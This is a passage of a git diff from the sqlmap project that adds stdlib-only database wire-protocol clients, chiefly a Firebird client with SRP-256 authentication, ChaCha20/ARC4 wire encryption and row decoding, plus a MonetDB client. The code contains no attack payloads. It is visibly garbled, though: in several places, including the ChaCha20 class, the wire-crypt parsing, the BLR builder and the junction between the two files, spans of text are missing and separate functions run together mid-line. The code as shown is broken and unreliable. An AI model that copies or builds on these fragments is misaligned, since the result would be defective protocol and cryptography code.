op_connect, SRP-256 authentication, ChaCha20 (or +Arc4) wire encryption - which Firebird 4+ requires by default - then attach / transaction / prepare / +execute / fetch with XSQLDA column description and row decoding. Read-oriented for sqlmap: execute() takes +a fully-formed query string, binary/blob values come back as bytes (sqlmap hex-encodes them). +""" + +import datetime +import hashlib +import os +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import IntegrityError +from extra.dbwire import InterfaceError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import connection_lost +from extra.dbwire import handshake_done +from extra.dbwire import keepalive +from extra.dbwire import recvn + +# operation codes +_op_connect = 1 +_op_accept = 3 +_op_reject = 4 +_op_response = 9 +_op_attach = 19 +_op_detach = 21 +_op_transaction = 29 +_op_commit_retaining = 50 +_op_rollback_retaining = 86 +_op_get_segment = 36 +_op_close_blob = 39 +_op_open_blob2 = 56 +_op_allocate_statement = 62 +_op_execute = 63 +_op_fetch = 65 +_op_fetch_response = 66 +_op_free_statement = 67 +_op_prepare_statement = 68 +_op_info_sql = 70 +_op_dummy = 71 +_op_cont_auth = 92 +_op_crypt = 96 +_op_accept_data = 94 +_op_cond_accept = 98 + +# CNCT parameter codes +_CNCT_user = 1 +_CNCT_host = 4 +_CNCT_user_verification = 6 +_CNCT_specific_data = 7 +_CNCT_plugin_name = 8 +_CNCT_login = 9 +_CNCT_plugin_list = 10 +_CNCT_client_crypt = 11 + +# database / transaction parameter block items +_isc_dpb_version1 = 1 +_isc_dpb_user_name = 28 +_isc_dpb_lc_ctype = 48 +_isc_dpb_process_id = 71 +_isc_dpb_process_name = 74 +_isc_tpb_version3 = 3 +_isc_tpb_wait = 6 +_isc_tpb_write = 9 +_isc_tpb_read_committed = 15 +_isc_tpb_rec_version = 17 + +# isc_info_sql_* describe items +_isc_info_end = 1 +_isc_info_truncated = 2 +_isc_info_sql_select = 4 +_isc_info_sql_describe_vars = 7 +_isc_info_sql_describe_end = 8 +_isc_info_sql_sqlda_seq = 9 +_isc_info_sql_type = 11 +_isc_info_sql_sub_type = 12 +_isc_info_sql_scale = 13 +_isc_info_sql_length = 14 +_isc_info_sql_null_ind = 15 +_isc_info_sql_field = 16 +_isc_info_sql_relation = 17 +_isc_info_sql_owner = 18 +_isc_info_sql_alias = 19 +_isc_info_sql_sqlda_start = 20 +_isc_info_sql_stmt_type = 21 +_INFO_SQL_SELECT_DESCRIBE_VARS = bytes(bytearray([ + _isc_info_sql_select, _isc_info_sql_describe_vars, _isc_info_sql_sqlda_seq, + _isc_info_sql_type, _isc_info_sql_sub_type, _isc_info_sql_scale, _isc_info_sql_length, + _isc_info_sql_null_ind, _isc_info_sql_field, _isc_info_sql_relation, _isc_info_sql_owner, + _isc_info_sql_alias, _isc_info_sql_describe_end])) + +_isc_info_sql_stmt_select = 1 +_DSQL_drop = 2 + +# SQL type codes +_SQL_VARYING = 448 +_SQL_TEXT = 452 +_SQL_DOUBLE = 480 +_SQL_FLOAT = 482 +_SQL_LONG = 496 +_SQL_SHORT = 500 +_SQL_TIMESTAMP = 510 +_SQL_BLOB = 520 +_SQL_TIME = 560 +_SQL_DATE = 570 +_SQL_INT64 = 580 +_SQL_INT128 = 32752 +_SQL_TIMESTAMP_TZ = 32754 +_SQL_TIME_TZ = 32756 +_SQL_BOOLEAN = 32764 +_SQL_TYPE_LENGTH = { # fixed on-the-wire length by SQL type (VARYING is length-prefixed -> -1) + _SQL_VARYING: -1, _SQL_SHORT: 4, _SQL_LONG: 4, _SQL_FLOAT: 4, _SQL_TIME: 4, _SQL_DATE: 4, + _SQL_DOUBLE: 8, _SQL_TIMESTAMP: 8, _SQL_BLOB: 8, _SQL_INT64: 8, _SQL_INT128: 16, + _SQL_TIMESTAMP_TZ: 12, _SQL_TIME_TZ: 8, _SQL_BOOLEAN: 1, +} +# per-type output BLR fragment used to describe the fetched row (see calc_blr) +_SQL_TYPE_BLR = { + _SQL_DOUBLE: [27], _SQL_FLOAT: [10], _SQL_DATE: [12], _SQL_TIME: [13], _SQL_TIMESTAMP: [35], + _SQL_BLOB: [9, 0], _SQL_BOOLEAN: [23], _SQL_TIME_TZ: [28], _SQL_TIMESTAMP_TZ: [29], +} + +# status-vector argument tags +_isc_arg_end = 0 +_isc_arg_gds = 1 +_isc_arg_string = 2 +_isc_arg_number = 4 +_isc_arg_interpreted = 5 +_isc_arg_sql_state = 19 +_GDS_INTEGRITY = frozenset((335544838, 335544879, 335544880, 335544466, 335544665, 335544347, 335544558)) +_GDS_DATA = frozenset((335544321,)) +_GDS_WARNING = 335544434 + +_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a wire-supplied length, to bound a hostile/corrupt stream + +# SRP-6a group used by Firebird (fixed 1024-bit prime, generator 2) +_SRP_N = int("E67D2E994B2F900C3F41F08F5BB2627ED0D49EE1FE767A52EFCD565CD6E768812C3E1E9CE8F0A8BEA6CB13CD29DDE" + "BF7A96D4A93B55D488DF099A15C89DCB0640738EB2CBDD9A8F7BAB561AB1B0DC1C6CDABF303264A08D1BCA932D1F" + "1EE428B619D970F342ABA9A65793B8B2F041AE5364350C16F735F56ECBCA87BD57B29E7", 16) +_SRP_g = 2 +_SRP_k = 1277432915985975349439481660349303019122249719989 + +def _minbe(n): + # minimal big-endian bytes of a non-negative integer (matches firebirdsql long2bytes/pad for these sizes) + out = bytearray() + while n > 0: + out.insert(0, n & 0xff) + n >>= 8 + return bytes(out) + +def _b2l(b): + n = 0 + for c in bytearray(b): + n = (n << 8) | c + return n + +def _sha1(*parts): + h = hashlib.sha1() + for p in parts: + h.update(p if isinstance(p, bytes) else _minbe(p)) + return h.digest() + +def _srp_client_seed(): + a = _b2l(os.urandom(16)) # client private key (128-bit) + return pow(_SRP_g, a, _SRP_N), a + +def _srp_client_proof(user, password, salt, A, B, a, hash_algo): + # session key K (always SHA-1) then the Firebird-specific proof M (SHA-1 for Srp, SHA-256 for Srp256) + u = _b2l(_sha1(_minbe(A), _minbe(B))) + x = _b2l(_sha1(salt, _sha1(user, b":", password))) + S = pow((B - _SRP_k * pow(_SRP_g, x, _SRP_N)) % _SRP_N, (a + u * x) % _SRP_N, _SRP_N) + K = _sha1(_minbe(S)) + n1 = _b2l(_sha1(_minbe(_SRP_N))) + n2 = _b2l(_sha1(_minbe(_SRP_g))) + n1 = pow(n1, n2, _SRP_N) # NOTE: modular exponentiation, not XOR (Firebird quirk) + n2 = _b2l(_sha1(user)) + h = hash_algo() + for p in (_minbe(n1), _minbe(n2), salt, _minbe(A), _minbe(B), K): + h.update(p) + return h.digest(), K + +class _ARC4(object): + def __init__(self, key): + s = list(range(256)) + key = bytearray(key) + j = 0 + for i in range(256): + j = (j + s[i] + key[i % len(key)]) & 0xff + s[i], s[j] = s[j], s[i] + self._s, self._i, self._j = s, 0, 0 + + def translate(self, data): + s, i, j, out = self._s, self._i, self._j, bytearray() + for c in bytearray(data): + i = (i + 1) & 0xff + j = (j + s[i]) & 0xff + s[i], s[j] = s[j], s[i] + out.append(c ^ s[(s[i] + s[j]) & 0xff]) + self._i, self._j = i, j + return bytes(out) + +class _ChaCha20(object): + _SIGMA = b"expand 32-byte k" + + def __init__(self, key, nonce): + self._nonce = nonce + self._counter = 0 + block = self._SIGMA + key + self._ctr_bytes() + nonce + self._state = list(struct.unpack("<16L", block)) + self._make_block() + + def _ctr_bytes(self): + return struct.pack("> (32 - n))) & 0xffffffff + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 16) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 12) + x[a] = (x[a] + x[b]) & 0xffffffff; x[d] = rot(x[d] ^ x[a], 8) + x[c] = (x[c] + x[d]) & 0xffffffff; x[b] = rot(x[b] ^ x[c], 7) + + def translate(self, data): + out = bytearray() + block = bytearray(self._block) + for c in bytearray(data): + out.append(c ^ block[self._pos]) + self._pos += 1 + if self._pos == 64: + self._counter += 1 + cb = self._ctr_bytes() + self._state[12] = struct.unpack(" (plugin, nonce) + plugins, nonces, buf, i = [], [], bytearray(buf), 0 + while i < len(buf): + t, ln = buf[i], buf[i + 1] + v = bytes(buf[i + 2:i + 2 + ln]) + i += 2 + ln + if t == 1: + plugins = v.split() + elif t == 3: + nonces.append(v) + if b"ChaCha64" in plugins: + for s in nonces: + if s[:9] == b"ChaCha64\x00": + return b"ChaCha64", s[9:] + if b"ChaCha" in plugins: + for s in nonces: + if s[:7] == b"ChaCha\x00": + return b"ChaCha", s[7:7 + 12] + if b"Arc4" in plugins: + return b"Arc4", None + return None, None + +class _Wire(object): + def __init__(self, sock): + self._sock = sock + self._rc = self._wc = None + + def set_ciphers(self, rc, wc): + self._rc, self._wc = rc, wc + + def send(self, data): + try: + self._sock.sendall(self._wc.translate(data) if self._wc else data) + except (socket.error, OSError) as ex: + raise connection_lost(ex) + + def _recv_raw(self, n): + return recvn(self._sock, n) + + def recv(self, n, align=False): + # every length here comes off the wire (response buffers, status strings, per-value lengths): a + # negative one would silently return short data, a huge one would read until memory ran out + if n < 0 or n > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid Firebird length (%d)" % n) + total = n + ((4 - n % 4) % 4) if align else n + data = self._recv_raw(total) + if self._rc: + data = self._rc.translate(data) + return data[:n] + + def recv_int(self): + return struct.unpack("!i", self.recv(4))[0] + + def recv_bytes(self): + return self.recv(self.recv_int(), align=True) + + def close(self): + try: + self._sock.close() + except Exception: + pass + +def _parse_response(wire): + head = wire.recv(16) + handle = struct.unpack("!i", head[:4])[0] + object_id = head[4:12] + buf = wire.recv(struct.unpack("!i", head[12:16])[0], align=True) + _check_status(wire) + return handle, object_id, buf + +def _check_status(wire): + gds, message = set(), "" + n = wire.recv_int() + while n != _isc_arg_end: + if n == _isc_arg_gds: + gds_code = wire.recv_int() + if gds_code: + gds.add(gds_code) + elif n == _isc_arg_number: + message += " %d" % wire.recv_int() + elif n in (_isc_arg_string, _isc_arg_interpreted, _isc_arg_sql_state): + s = wire.recv(wire.recv_int(), align=True) + if n != _isc_arg_sql_state: + message += " " + s.decode("utf-8", "replace") + n = wire.recv_int() + if gds: + message = ("(remote) firebird error %s%s" % (sorted(gds), message)).strip() + if gds & _GDS_INTEGRITY: + raise IntegrityError(message) + if gds & _GDS_DATA: + raise DataError(message) + if _GDS_WARNING not in gds: + raise OperationalError(message) + +def _pack_int(v): + return struct.pack("!i", v) + +def _pack_bytes(v): + return _pack_int(len(v)) + v + b"\x00" * ((4 - len(v) % 4) % 4) + +def _le(b): + n = 0 + for c in reversed(bytearray(b)): + n = (n << 8) | c + return n + +def _le_signed(b): + n = _le(b) # info-buffer scalars are little-endian; scale is signed (usually negative) + if b and (bytearray(b)[-1] & 0x80): + n -= 1 << (8 * len(b)) + return n + +def _b2i_signed(b): + n = _b2l(b) + if bytearray(b) and bytearray(b)[0] & 0x80: + n -= 1 << (8 * len(b)) + return n + +def _scaled(n, scale): + """ + integer n represents n * 10**scale (scale <= 0); render as an exact decimal string + + >>> _scaled(1234, -2) + '12.34' + >>> _scaled(-5, -2) + '-0.05' + >>> _scaled(5, -4) + '0.0005' + >>> _scaled(7, 0) + '7' + """ + if scale >= 0: + return str(n * (10 ** scale)) + digits = "%0*d" % (-scale + 1, abs(n)) + return ("-" if n < 0 else "") + digits[:scale] + "." + digits[scale:] + +_EPOCH_DAYS = datetime.date(1858, 11, 17).toordinal() + +def _decode_date(raw): + return datetime.date.fromordinal(_EPOCH_DAYS + struct.unpack("!i", raw)[0]) + +def _decode_time(raw): + n = struct.unpack("!I", raw)[0] + s, frac = divmod(n, 10000) + return datetime.time(s // 3600, (s // 60) % 60, s % 60, frac * 100) + +class _Column(object): + __slots__ = ("name", "sqltype", "subtype", "scale", "length") + + def io_length(self): + return self.length if self.sqltype == _SQL_TEXT else _SQL_TYPE_LENGTH[self.sqltype] + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, wire, filename, user, password): + self._wire = wire + self._filename = filename + self._user = user + self._password = password + self._db_handle = None + self._trans_handle = None + + def cursor(self): + return Cursor(self) + + def commit(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_commit_retaining) + _pack_int(self._trans_handle)) + self._response() + + def rollback(self): + if self._trans_handle is not None: + self._send(_pack_int(_op_rollback_retaining) + _pack_int(self._trans_handle)) + self._response() + + def close(self): + try: + if self._db_handle is not None: + self._send(_pack_int(_op_detach) + _pack_int(self._db_handle)) + self._response() + except Exception: + pass + self._wire.close() + + # ---- wire helpers ---- + + def _send(self, data): + self._wire.send(data) + + def _response(self): + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d" % op) + return _parse_response(self._wire) + + # ---- query ---- + + def _query(self, query): + try: + return self._run(query) + except (struct.error, IndexError, ValueError, KeyError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + def _run(self, query): + qbytes = query.encode("utf-8") + self._send(_pack_int(_op_allocate_statement) + _pack_int(self._db_handle)) + stmt = self._response()[0] + + try: + desc_items = bytes(bytearray([_isc_info_sql_stmt_type])) + _INFO_SQL_SELECT_DESCRIBE_VARS + self._send(_pack_int(_op_prepare_statement) + _pack_int(self._trans_handle) + _pack_int(stmt) + + _pack_int(3) + _pack_bytes(qbytes) + _pack_bytes(desc_items) + _pack_int(1024)) + buf = self._response()[2] + stmt_type, columns = self._parse_describe(stmt, buf) + + exec_msg = (_pack_int(_op_execute) + _pack_int(stmt) + _pack_int(self._trans_handle) + + _pack_bytes(b"") + _pack_int(0) + _pack_int(0) + _pack_int(0)) + self._send(exec_msg) + self._response() + + description, rows = None, [] + if stmt_type == _isc_info_sql_stmt_select and columns: + description = [(c.name, c.sqltype, None, None, None, None, None) for c in columns] + rows = self._fetch(stmt, columns) + finally: + # release the server-side handle even when prepare/execute/fetch raised: a connection that + # survives a few failed statements would otherwise hold every one of them until it detaches + try: + self._send(_pack_int(_op_free_statement) + _pack_int(stmt) + _pack_int(_DSQL_drop)) + self._response() + except Exception: + pass + + # dbwire statements are autonomous (see README), but Firebird has no auto-commit mode: everything + # runs inside the one transaction opened at attach. Without this, DML is lost when the caller + # closes the connection without an explicit commit(). commit-retaining makes the work durable and + # keeps the transaction handle valid, so the connection stays usable for the next statement. + self.commit() + return description, rows + + def _parse_describe(self, stmt, buf): + stmt_type, columns = None, [] + i = 0 + while i < len(buf): + if bytearray(buf[i:i + 3]) == bytearray([_isc_info_sql_stmt_type, 4, 0]): + stmt_type = _le(buf[i + 3:i + 7]) + i += 7 + elif bytearray(buf[i:i + 2]) == bytearray([_isc_info_sql_select, _isc_info_sql_describe_vars]): + i += 2 + ln = _le(buf[i:i + 2]); i += 2 + count = _le(buf[i:i + ln]); i += ln + columns = [_Column() for _ in range(count)] + next_index = self._parse_items(buf[i:], columns) + while next_index > 0: # describe buffer truncated: request the remaining columns + self._send(_pack_int(_op_info_sql) + _pack_int(stmt) + _pack_int(0) + _pack_bytes( + bytes(bytearray([_isc_info_sql_sqlda_start, 2])) + struct.pack("> 8] + for c in columns: + t = c.sqltype + if t == _SQL_VARYING: + blr += [37, c.length & 0xff, c.length >> 8] + elif t == _SQL_TEXT: + blr += [14, c.length & 0xff, c.length >> 8] + elif t == _SQL_LONG: + blr += [8, c.scale] + elif t == _SQL_SHORT: + blr += [7, c.scale] + elif t == _SQL_INT64: + blr += [16, c.scale] + elif t == _SQL_INT128: + blr += [26, c.scale] + else: + blr += _SQL_TYPE_BLR[t] + blr += [7, 0] + blr += [255, 76] + return bytes(bytearray((256 + b) if b < 0 else b for b in blr)) + + def _fetch(self, stmt, columns): + blr = self._calc_blr(columns) + nbytes = (len(columns) + 7) // 8 + blob_cols = [i for i, c in enumerate(columns) if c.sqltype == _SQL_BLOB] + rows = [] + more = True + while more: + self._send(_pack_int(_op_fetch) + _pack_int(stmt) + _pack_bytes(blr) + _pack_int(0) + _pack_int(400)) + op = self._wire.recv_int() + while op == _op_dummy: + op = self._wire.recv_int() + if op != _op_fetch_response: + if op == _op_response: + _parse_response(self._wire) + raise OperationalError("unexpected Firebird operation %d during fetch" % op) + status = self._wire.recv_int() + count = self._wire.recv_int() + while count: + null_bitmap = _le(self._wire.recv(nbytes, align=True)) + row = [] + for i, col in enumerate(columns): + if null_bitmap & (1 << i): + row.append(None) + continue + io = col.io_length() + ln = self._wire.recv_int() if io < 0 else io + raw = self._wire.recv(ln, align=True) + # blob columns yield an 8-byte blob id; resolve AFTER the fetch batch is fully drained + # (a blob sub-request mid-batch would interleave with the still-streaming rows and desync) + row.append(raw if col.sqltype == _SQL_BLOB else self._decode(col, raw)) + rows.append(row) + op = self._wire.recv_int() + status = self._wire.recv_int() + count = self._wire.recv_int() + more = status != 100 + for i in blob_cols: + for row in rows: + if row[i] is not None: + row[i] = self._read_blob(row[i], columns[i].subtype) + return [tuple(row) for row in rows] + + def _decode(self, col, raw): + t = col.sqltype + if t == _SQL_TEXT: + return self._decode_text(raw, rstrip=True) + if t == _SQL_VARYING: + return self._decode_text(raw, rstrip=False) + if t in (_SQL_SHORT, _SQL_LONG, _SQL_INT64, _SQL_INT128): + n = _b2i_signed(raw) + return _scaled(n, col.scale) if col.scale else str(n) + if t == _SQL_FLOAT: + return repr(struct.unpack("!f", raw)[0]) + if t == _SQL_DOUBLE: + return repr(struct.unpack("!d", raw)[0]) + if t == _SQL_BOOLEAN: + return "true" if bytearray(raw)[0] else "false" + if t == _SQL_DATE: + return "%s" % _decode_date(raw) + if t == _SQL_TIME: + return "%s" % _decode_time(raw) + if t == _SQL_TIMESTAMP: + return "%s %s" % (_decode_date(raw[:4]), _decode_time(raw[4:])) + if t == _SQL_BLOB: + return self._read_blob(raw, col.subtype) + return raw # unknown/decimal-float type -> raw bytes (sqlmap hex-encodes) + + def _decode_text(self, raw, rstrip): + try: + s = raw.decode("utf-8") + except UnicodeDecodeError: + return raw # OCTETS / binary text -> bytes (sqlmap hex-encodes) + return s.rstrip(" ") if rstrip else s + + def _read_blob(self, blob_id, subtype): + self._send(_pack_int(_op_open_blob2) + _pack_int(0) + _pack_int(self._trans_handle) + blob_id) + blob_handle = self._response()[0] + data = b"" + while True: + self._send(_pack_int(_op_get_segment) + _pack_int(blob_handle) + _pack_int(1024) + _pack_int(0)) + seg_status, _, buf = self._response() + buf = bytearray(buf) + j = 0 + while j < len(buf): + seg_len = _le(buf[j:j + 2]) + data += bytes(buf[j + 2:j + 2 + seg_len]) + j += 2 + seg_len + if seg_status == 2: # last segment + break + self._send(_pack_int(_op_close_blob) + _pack_int(blob_handle)) + self._response() + if subtype == 1: + try: + return data.decode("utf-8") + except UnicodeDecodeError: + return data + return data + +def _uid(user, plugin, plugin_list, public_key, wire_crypt): + def param(k, v): + if k != _CNCT_specific_data: + return bytes(bytearray([k, len(v)])) + v + out, i = b"", 0 + while len(v) > 254: + out += bytes(bytearray([k, 255, i])) + v[:254] + v = v[254:] + i += 1 + return out + bytes(bytearray([k, len(v) + 1, i])) + v + + try: + os_user = os.environ.get("USER", "") or os.environ.get("USERNAME", "") + except Exception: + os_user = "" + specific = _hex(_minbe(public_key)) + r = param(_CNCT_login, user.encode("utf-8")) + r += param(_CNCT_plugin_name, plugin) + r += param(_CNCT_plugin_list, plugin_list) + r += param(_CNCT_specific_data, specific) + r += param(_CNCT_client_crypt, b"\x01\x00\x00\x00" if wire_crypt else b"\x00\x00\x00\x00") + r += param(_CNCT_user, os_user.encode("utf-8")) + r += param(_CNCT_host, socket.gethostname().encode("utf-8", "replace")) + r += param(_CNCT_user_verification, b"") + return r + +def _hex(b): + return "".join("%02x" % c for c in bytearray(b)).encode("ascii") + +# protocol version tuples (version, arch=Generic 1, min_type=0, max_type=batch_send 3, weight); max_type is +# deliberately capped at 3 (not lazy_send 5) so every operation gets an immediate response (no deferred handles) +_PROTOCOLS = ("0000000a00000001000000000000000300000002", + "ffff800b00000001000000000000000300000004", + "ffff800c00000001000000000000000300000006", + "ffff800d00000001000000000000000300000008", + "ffff800e0000000100000000000000030000000a", + "ffff800f0000000100000000000000030000000c", + "ffff80100000000100000000000000030000000e", + "ffff801100000001000000000000000300000010") + +def connect(host=None, port=3050, user=None, password=None, database=None, connect_timeout=None, **kwargs): + user = user or "SYSDBA" + password = password or "" + filename = (database or "").encode("utf-8") + plugin, plugin_list = b"Srp256", b"Srp256,Srp,Legacy_Auth" + + try: + sock = socket.create_connection((host or "localhost", int(port or 3050)), timeout=connect_timeout) + keepalive(sock) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + wire = _Wire(sock) + try: + public_key, private_key = _srp_client_seed() + packet = (_pack_int(_op_connect) + _pack_int(_op_attach) + _pack_int(3) + _pack_int(1) + + _pack_bytes(filename) + _pack_int(len(_PROTOCOLS)) + + _pack_bytes(_uid(user, plugin, plugin_list, public_key, True))) + for p in _PROTOCOLS: + packet += _unhex(p) + wire.send(packet) + + _authenticate(wire, user, password, public_key, private_key) + connection = Connection(wire, filename, user, password) + _attach(connection, wire, user) + handshake_done(sock) + except (DatabaseError, InterfaceError): + wire.close() + raise + except Exception as ex: + wire.close() + raise OperationalError("Firebird login failed (%s)" % ex) + return connection + +def _unhex(s): + return bytes(bytearray(int(s[i:i + 2], 16) for i in range(0, len(s), 2))) + +def _normalize_user(user): + if len(user) >= 2 and user[0] == '"' and user[-1] == '"': + return user[1:-1].replace('""', '"') + return user.upper() + +def _authenticate(wire, user, password, public_key, private_key): + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_reject: + raise OperationalError("Firebird connection rejected") + if op == _op_response: + _parse_response(wire) # will raise the server error + raise OperationalError("Firebird connection rejected") + + wire.recv(12) # accept block: protocol version / architecture / type (not needed once lazy-send is off) + if op == _op_accept: + return b"" # plaintext, no encryption negotiated + + data = wire.recv_bytes() + plugin_name = wire.recv_bytes() + wire.recv_int() # is_authenticated + wire.recv_bytes() # keys + if plugin_name not in (b"Srp256", b"Srp"): + raise NotSupportedError("unsupported Firebird auth plugin %r" % plugin_name) + if not data: + raise OperationalError("Firebird server sent no SRP challenge") + + salt_len = _le(data[:2]) + salt = data[2:2 + salt_len] + # the server sends B as a hex integer, dropping a leading zero nibble when its top nibble is 0 (odd-length + # hex ~5% of the time) - parse it as an integer, which is length-agnostic (byte-pairing would corrupt it) + server_public = int(data[4 + salt_len:].decode("ascii"), 16) + hash_algo = hashlib.sha256 if plugin_name == b"Srp256" else hashlib.sha1 + proof, session_key = _srp_client_proof(_normalize_user(user).encode("utf-8"), + password.encode("utf-8"), salt, + public_key, server_public, private_key, hash_algo) + + wire.send(_pack_int(_op_cont_auth) + _pack_bytes(_hex(proof)) + _pack_bytes(plugin_name) + + _pack_bytes(b"Srp256,Srp,Legacy_Auth") + _pack_bytes(b"")) + buf = _read_response(wire, user, password) + + enc_plugin, nonce = _guess_wire_crypt(buf) + if not (enc_plugin and session_key): + raise NotSupportedError("Firebird server did not offer a supported wire-crypt plugin") + wire.send(_pack_int(_op_crypt) + _pack_bytes(enc_plugin) + _pack_bytes(b"Symmetric")) + if enc_plugin in (b"ChaCha", b"ChaCha64"): + k = hashlib.sha256(session_key).digest() + wire.set_ciphers(_ChaCha20(k, nonce), _ChaCha20(k, nonce)) + elif enc_plugin == b"Arc4": + wire.set_ciphers(_ARC4(session_key), _ARC4(session_key)) + else: + raise NotSupportedError("unsupported Firebird wire-crypt plugin %r" % enc_plugin) + _read_response(wire, user, password) # first encrypted message + return session_key + +def _read_response(wire, user, password): + # a bare op_response reader used during the login handshake (before a Connection exists) + op = wire.recv_int() + while op == _op_dummy: + op = wire.recv_int() + if op == _op_cont_auth: + raise OperationalError("Firebird authentication failed") + if op != _op_response: + raise OperationalError("unexpected Firebird operation %d during login" % op) + return _parse_response(wire)[2] + +def _attach(connection, wire, user): + dpb = bytearray([_isc_dpb_version1]) + dpb += bytearray([_isc_dpb_lc_ctype, 4]) + bytearray(b"UTF8") + ub = user.encode("utf-8") + dpb += bytearray([_isc_dpb_user_name, len(ub)]) + bytearray(ub) + dpb += bytearray([_isc_dpb_process_id, 4]) + bytearray(struct.pack("> 1 +_MAX_MESSAGE_LENGTH = 0x40000000 # cap on a (re-assembled) response, to bound a hostile/corrupt stream + +def _getblock(sock): + # the block length is a 15-bit field, so bounding IT is pointless - a peer that never sets the last-flag + # simply streams blocks forever. Bound the accumulated response instead (as the other wire modules do). + chunks, total = [], 0 + while True: + (header,) = struct.unpack("> 1, header & 1 + total += length + if total > _MAX_MESSAGE_LENGTH: + raise InterfaceError("backend message too large (%d bytes)" % total) + chunks.append(recvn(sock, length)) + if last: + break + return b"".join(chunks).decode("utf-8", "replace") + +def _putblock(sock, text): + data = text.encode("utf-8") + off = 0 + while True: + chunk = data[off:off + _MAX_BLOCK] + off += _MAX_BLOCK + last = off >= len(data) + try: + sock.sendall(struct.pack("= 2 and value[0] == '"' and value[-1] == '"': + body = value[1:-1] + if "\\" not in body: + return body + # MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only + # on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding) + return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg + for seg in re.split(r"([\x00-\x7f]+)", body)) + return value + +def _parse_result(text): + description, rows = None, [] + for line in text.split("\n"): + if not line: + continue + marker = line[0] + if marker == "!": # error + raise ProgrammingError("(remote) %s" % line[1:].strip()) + elif marker == "%": # metadata: " # " + payload, _, kind = line[1:].rpartition("#") + if kind.strip() == "name": + description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")] + elif marker == "[": # tuple: "[ v1,\tv2,\t... ]" + body = line.strip() + if body.startswith("[") and body.endswith("]"): + body = body[1:-1].strip() + rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t"))) + # "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes + return description, rows + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows = self.connection._query(query) + self.rowcount = len(self._rows) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, sock): + self._sock = sock + + def cursor(self): + return Cursor(self) + + def commit(self): + pass # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened + + def rollback(self): + pass + + def close(self): + try: + self._sock.close() + except Exception: + pass + + def _command(self, text): + _putblock(self._sock, text) + reply = _getblock(self._sock) + if reply.startswith("!"): + raise OperationalError("(remote) %s" % reply[1:].strip()) + + def _query(self, query): + try: + _putblock(self._sock, "s" + query + ";\n") + return _parse_result(_getblock(self._sock)) + except (socket.error, socket.timeout) as ex: + raise OperationalError("connection error: %s" % ex) + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + +def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + host, port = host or "localhost", int(port or 50000) + try: + sock = socket.create_connection((host, port), timeout=connect_timeout) + keepalive(sock) + except (socket.error, socket.timeout) as ex: + raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) + + try: + for _ in range(10): # bounded: merovingian proxy stage + optional redirect + mserver challenge + block = _getblock(sock) + if block == "": # login accepted + break + if block[0] == "^": # redirect + url = block[1:].strip() + m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url) + if m and (m.group(1) != host or int(m.group(2)) != port): + sock.close() + host, port, database = m.group(1), int(m.group(2)), m.group(3) or database + sock = socket.create_connection((host, port), timeout=connect_timeout) + keepalive(sock) + continue # merovingian proxy redirect: keep reading the next challenge on this socket + if block[0] == "!": + raise OperationalError("(remote) %s" % block[1:].strip()) + _putblock(sock, _challenge_response(block, user, password, database)) + else: + raise OperationalError("MonetDB login did not converge") + except (OperationalError, NotSupportedError, InterfaceError): + try: + sock.close() + except Exception: + pass + raise + except (socket.error, socket.timeout) as ex: # I/O error during the login/redirect exchange + try: + sock.close() + except Exception: + pass + raise OperationalError("connection error: %s" % ex) + + connection = Connection(sock) + try: + connection._command("Xreply_size -1\n") # disable row paging so a whole result set is returned at once + except (socket.error, socket.timeout) as ex: + connection.close() + raise OperationalError("connection error: %s" % ex) + except Exception: # e.g. connection_lost() out of _putblock/_getblock: the socket is still ours to close + connection.close() + raise + + handshake_done(sock) + return connection diff --git a/extra/dbwire/mysql.py b/extra/dbwire/mysql.py new file mode 100644 index 00000000000..e6a923aa5df --- /dev/null +++ b/extra/dbwire/mysql.py @@ -0,0 +1,372 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python MySQL client/server protocol client (stdlib only). + +Covers the whole 